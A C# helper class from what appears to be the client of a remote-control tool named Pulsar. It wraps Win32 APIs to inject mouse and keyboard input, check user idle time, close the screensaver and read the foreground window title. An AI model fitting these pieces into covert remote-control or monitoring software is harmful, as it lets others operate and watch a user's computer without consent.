using Pulsar.Client.Utilities;
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;

namespace Pulsar.Client.Helper
{
    public static class NativeMethodsHelper
    {
        private const int INPUT_MOUSE = 0;
        private const int INPUT_KEYBOARD = 1;

        private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
        private const uint MOUSEEVENTF_LEFTUP = 0x0004;
        private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
        private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
        private const uint MOUSEEVENTF_WHEEL = 0x0800;
        private const uint KEYEVENTF_KEYDOWN = 0x0000;
        private const uint KEYEVENTF_KEYUP = 0x0002;

        public const uint SWP_NOZORDER = 0x0004;
        public const uint SWP_NOSIZE = 0x0001;
        public const uint SWP_SHOWWINDOW = 0x0040;
        [DllImport("user32.dll")]
        public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        [DllImport("user32.dll", SetLastError = true)]
        public static extern bool SetWindowPos(
            IntPtr hWnd, IntPtr hWndInsertAfter,
            int X, int Y, int cx, int cy, uint uFlags);

        public static void SetWindowPosition(IntPtr hWnd, int x, int y, int width, int height)
        {
            const uint SWP_NOZORDER = 0x0004;
            const uint SWP_SHOWWINDOW = 0x0040;
            SetWindowPos(hWnd, IntPtr.Zero, x, y, width, height, SWP_NOZORDER | SWP_SHOWWINDOW);
        }

        public static uint GetLastInputInfoTickCount()
        {
            NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
            lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo);
            lastInputInfo.dwTime = 0;
            NativeMethods.GetLastInputInfo(ref lastInputInfo);
            return lastInputInfo.dwTime;
        }

        public static void DoMouseLeftClick(Point p, bool isMouseDown)
        {
            NativeMethods.INPUT[] inputs = {
                new NativeMethods.INPUT
                {
                    type = INPUT_MOUSE,
                    u = new NativeMethods.InputUnion
                    {
                        mi = new NativeMethods.MOUSEINPUT
                        {
                            dx = p.X,
                            dy = p.Y,
                            mouseData = 0,
                            dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP,
                            time = 0,
                            dwExtraInfo = NativeMethods.GetMessageExtraInfo()
                        }
                    }
                }
            };

            NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
        }


        /// <summary>
        /// Moves a window to the specified screen bounds.
        /// </summary>
        /// <param name="hWnd">Handle to the window.</param>
        /// <param name="bounds">The bounds of the target screen.</param>
        public static void MoveWindowToScreen(IntPtr hWnd, Rectangle bounds)
        {
            if (hWnd == IntPtr.Zero)
            {
                throw new ArgumentException("Window handle cannot be null.", nameof(hWnd));
            }

            bool result = NativeMethods.SetWindowPos(hWnd, IntPtr.Zero, bounds.X, bounds.Y, 0, 0, NativeMethodsHelper.SWP_NOZORDER | NativeMethodsHelper.SWP_NOSIZE);
            if (!result)
            {
                throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error(), "Failed to move window to the specified screen.");
            }
        }

        public static void DoMouseRightClick(Point p, bool isMouseDown)
        {
            NativeMethods.INPUT[] inputs = {
                new NativeMethods.INPUT
                {
                    type = INPUT_MOUSE,
                    u = new NativeMethods.InputUnion
                    {
                        mi = new NativeMethods.MOUSEINPUT
                        {
                            dx = p.X,
                            dy = p.Y,
                            mouseData = 0,
                            dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP,
                            time = 0,
                            dwExtraInfo = NativeMethods.GetMessageExtraInfo()
                        }
                    }
                }
            };

            NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
        }

        public static void DoMouseMove(Point p)
        {
            NativeMethods.SetCursorPos(p.X, p.Y);
        }

        public static void DoMouseScroll(Point p, bool scrollDown)
        {
            NativeMethods.INPUT[] inputs = {
                new NativeMethods.INPUT
                {
                    type = INPUT_MOUSE,
                    u = new NativeMethods.InputUnion
                    {
                        mi = new NativeMethods.MOUSEINPUT
                        {
                            dx = p.X,
                            dy = p.Y,
                            mouseData = scrollDown ? -120 : 120,
                            dwFlags = MOUSEEVENTF_WHEEL,
                            time = 0,
                            dwExtraInfo = NativeMethods.GetMessageExtraInfo()
                        }
                    }
                }
            };

            NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
        }

        public static void DoKeyPress(byte key, bool keyDown)
        {
            NativeMethods.INPUT[] inputs = {
                new NativeMethods.INPUT
                {
                    type = INPUT_KEYBOARD,
                    u = new NativeMethods.InputUnion
                    {
                        ki = new NativeMethods.KEYBDINPUT
                        {
                            wVk = key,
                            wScan = 0,
                            dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP,
                            dwExtraInfo = NativeMethods.GetMessageExtraInfo()
                        }
                    }
                }
            };

            NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
        }

        private const int SPI_GETSCREENSAVERRUNNING = 114;

        public static bool IsScreensaverActive()
        {
            var running = IntPtr.Zero;

            if (!NativeMethods.SystemParametersInfo(
                SPI_GETSCREENSAVERRUNNING,
                0,
                ref running,
                0))
            {
                // Something went wrong (Marshal.GetLastWin32Error)
            }

            return running != IntPtr.Zero;
        }

        private const uint DESKTOP_WRITEOBJECTS = 0x0080;
        private const uint DESKTOP_READOBJECTS = 0x0001;
        private const int WM_CLOSE = 16;
        private const uint SPI_SETSCREENSAVEACTIVE = 0x0011;
        private const uint SPIF_SENDWININICHANGE = 0x0002;

        public static void DisableScreensaver()
        {
            var handle = NativeMethods.OpenDesktop("Screen-saver", 0,
                false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);

            if (handle != IntPtr.Zero)
            {
                NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) =>
                {
                    if (NativeMethods.IsWindowVisible(hWnd))
                        NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);

                    // Continue enumeration even if it fails
                    return true;
                },
                    IntPtr.Zero);
                NativeMethods.CloseDesktop(handle);
            }
            else
            {
                NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
            }

            // We need to restart the counter for next screensaver according to
            // https://support.microsoft.com/en-us/kb/140723
            // (this may not be needed since we simulate mouse click afterwards)

            var dummy = IntPtr.Zero;

            // Doesn't really matter if this fails
            NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* true */, ref dummy, SPIF_SENDWININICHANGE);

        }

        public static string GetForegroundWindowTitle()
        {
            StringBuilder sbTitle = new StringBuilder(1024);

            NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);

            return sbTitle.ToString();
        }
    }
}